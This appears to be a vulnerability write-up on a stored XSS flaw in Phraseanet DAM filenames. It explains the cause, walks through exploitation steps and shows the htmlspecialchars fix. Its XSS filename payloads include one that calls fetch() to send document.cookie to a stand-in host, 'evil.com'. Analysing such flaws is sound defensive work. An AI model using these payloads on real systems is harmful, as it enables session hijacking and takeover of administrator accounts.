Phraseanet Stored XSS: When Filenames Attack
Feb 12, 2026·6 min read·1 visit
Executive Summary (TL;DR)
Authenticated users can upload files with malicious names (e.g., containing script tags) to Phraseanet. Because the application fails to sanitize these names upon display, the code executes in the browser of anyone viewing the file. Fixed in version 4.0.7.
A classic Stored Cross-Site Scripting (XSS) vulnerability in Phraseanet Digital Asset Management (DAM) software versions 4.0.3 and earlier. By simply renaming a file to contain malicious HTML and JavaScript, an attacker can turn a standard asset upload into a persistent trap for administrators and other users. The flaw lies in the application's failure to sanitize filenames before rendering them in the DOM.
The Hook: Digital Asset Mangling
Digital Asset Management (DAM) systems are the libraries of the corporate world. They hold the images, videos, and documents that power marketing campaigns and internal communications. Phraseanet is one such open-source solution, designed to organize chaos. But in version 4.0.3, it introduced a little chaos of its own.
The premise of this vulnerability is almost insultingly simple. A DAM's primary job is to take a file, store it, and show you its name. You upload quarterly_report.pdf, and the system displays "quarterly_report.pdf".
But what happens when a user decides that their file isn't named quarterly_report.pdf, but rather "><svg onload=alert(1)>? In a secure system, the application would treat that string as text. In Phraseanet, prior to the fix, the application takes that string and essentially says, "Sure, I'll put that right into the web page's HTML, no questions asked."
This isn't some complex memory corruption or a race condition. This is the web application equivalent of leaving your front door unlock, open, and with a sign that says "Please Rob Me." It is a Stored Cross-Site Scripting (XSS) vulnerability that turns a passive file repository into a minefield.
The Flaw: Trust Issues
To understand why this happens, we have to look at how web applications render data. When you view a list of files in a web interface, the HTML usually looks something like this:
<div class="file-item">
<img src="/uploads/123.jpg" alt="MyVacation.jpg" title="MyVacation.jpg">
<span>MyVacation.jpg</span>
</div>The vulnerability in Phraseanet stems from Context-Aware Output Encoding—or rather, the complete lack thereof. When the PHP backend generates this HTML, it likely takes the filename directly from the database and concatenates it into the string.
The flaw is a failure to neutralize syntax characters. The characters ", >, and < have special meaning in HTML. If the application doesn't convert them to their safe HTML entities (like ", >, and <), the browser can't tell the difference between the developer's markup and the attacker's data.
So, when the attacker provides a filename like "><svg onload=alert(1)>.jpg, the resulting HTML becomes:
<img src="..." alt=""><svg onload=alert(1)>.jpg">The attacker's quote closes the alt attribute. The attacker's > closes the img tag. And suddenly, we are in open HTML context, rendering an SVG tag with an onload event handler that executes arbitrary JavaScript.
The Exploit: Breaking Out
Exploiting this is trivially easy, which makes it dangerous. You don't need a disassembler; you just need a web browser and a bad attitude. Here is how a researcher—or an attacker—executes this chain.
Step 1: The Setup
First, you need a valid account. In many organizations, low-level employees or contractors have access to the DAM to upload assets. This is the "Authenticated" part of the vulnerability (PR:L).
Step 2: The Payload
We need a filename that breaks the HTML structure. The classic alert(1) is fine for testing, but let's look at the structure required to break an attribute:
"><script>alert(document.cookie)</script>.jpgHowever, <script> tags often don't fire when injected via innerHTML or certain AJAX loading methods. A more robust vector is using an image or SVG event handler, which fires immediately upon rendering:
"><svg onload=fetch('//evil.com/'+document.cookie)>.jpgStep 3: Execution
The attacker uploads a standard JPEG. Once uploaded, they use the "Rename" feature in Phraseanet to change the filename to the payload above. The server saves this string into the database.
Now, the trap is set. The XSS is Stored. The attacker doesn't need to send a phishing link. They just wait. When an Administrator logs in to review recent uploads, their browser requests the file list. The server serves the malicious filename, the browser interprets it as code, and the Administrator's session cookies are silently shipped off to the attacker's server.
The Fix: Sanitize Your Inputs
The remediation for this is standard defensive programming, yet it is missed surprisingly often. The fix was applied in Phraseanet 4.0.7.
The Vulnerable Logic (Conceptual)
While we don't have the exact diff, the vulnerable PHP code likely looked something like this:
// BAD: Direct echo of user input
echo '<img src="' . $url . '" alt="' . $document->getFilename() . '">';The Patched Logic
The fix involves encoding the output so that the browser treats the special characters as text, not markup.
// GOOD: Output encoding
echo '<img src="' . $url . '" alt="' . htmlspecialchars($document->getFilename(), ENT_QUOTES, 'UTF-8') . '">';By using htmlspecialchars (or a templating engine like Twig/Blade that auto-escapes), the malicious filename is rendered as:
"><svg onload=alert(1)>.jpgThe browser sees this safely as text. The attack is neutralized. If you are running Phraseanet < 4.0.7, you are currently hosting a potential watering hole attack on your own internal network.
Impact Analysis: Why Panic?
Why is a "Medium" severity vulnerability (CVSS 6.4) worth a deep dive? Because in the context of a DAM, the impact is often higher than the score suggests.
1. Privilege Escalation: DAMs are frequented by Marketing Directors, IT Administrators, and C-level executives approving assets. If an attacker (a low-level intern) plants this XSS, and an Admin views it, the attacker hijacks the Admin session. Now they own the DAM.
2. Lateral Movement: Once the attacker controls the Admin account, they might be able to abuse other features—uploading PHP shells if file extension validation is weak, or modifying other assets to serve malware to the public website consuming these assets.
3. Defacement & Reputation: Imagine the company logo being replaced or the DAM interface redirecting all employees to a competitor's site. The chaotic potential of Stored XSS is limited only by the attacker's JavaScript creativity.
> [!WARNING] > Stored XSS is persistent. It executes every time the page loads until the database entry is cleaned manually. It does not require user interaction beyond simply viewing the page.
Official Patches
Technical Appendix
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:NAffected Systems
Affected Versions Detail
| Product | Affected Versions | Fixed Version |
|---|---|---|
Phraseanet DAM Open Source Phraseanet | <= 4.0.3 | 4.0.7 |
Phraseanet DAM Open Source Phraseanet | 4.0.4-dev | 4.0.7 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| CVSS v3.1 | 6.4 (Medium) |
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | Low |
| User Interaction | None (Stored) |
| Exploit Status | PoC Available |
MITRE ATT&CK Mapping
The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
Known Exploits & Detection
Vulnerability Timeline
Subscribe to updates
Get the latest CVE analysis reports delivered to your inbox.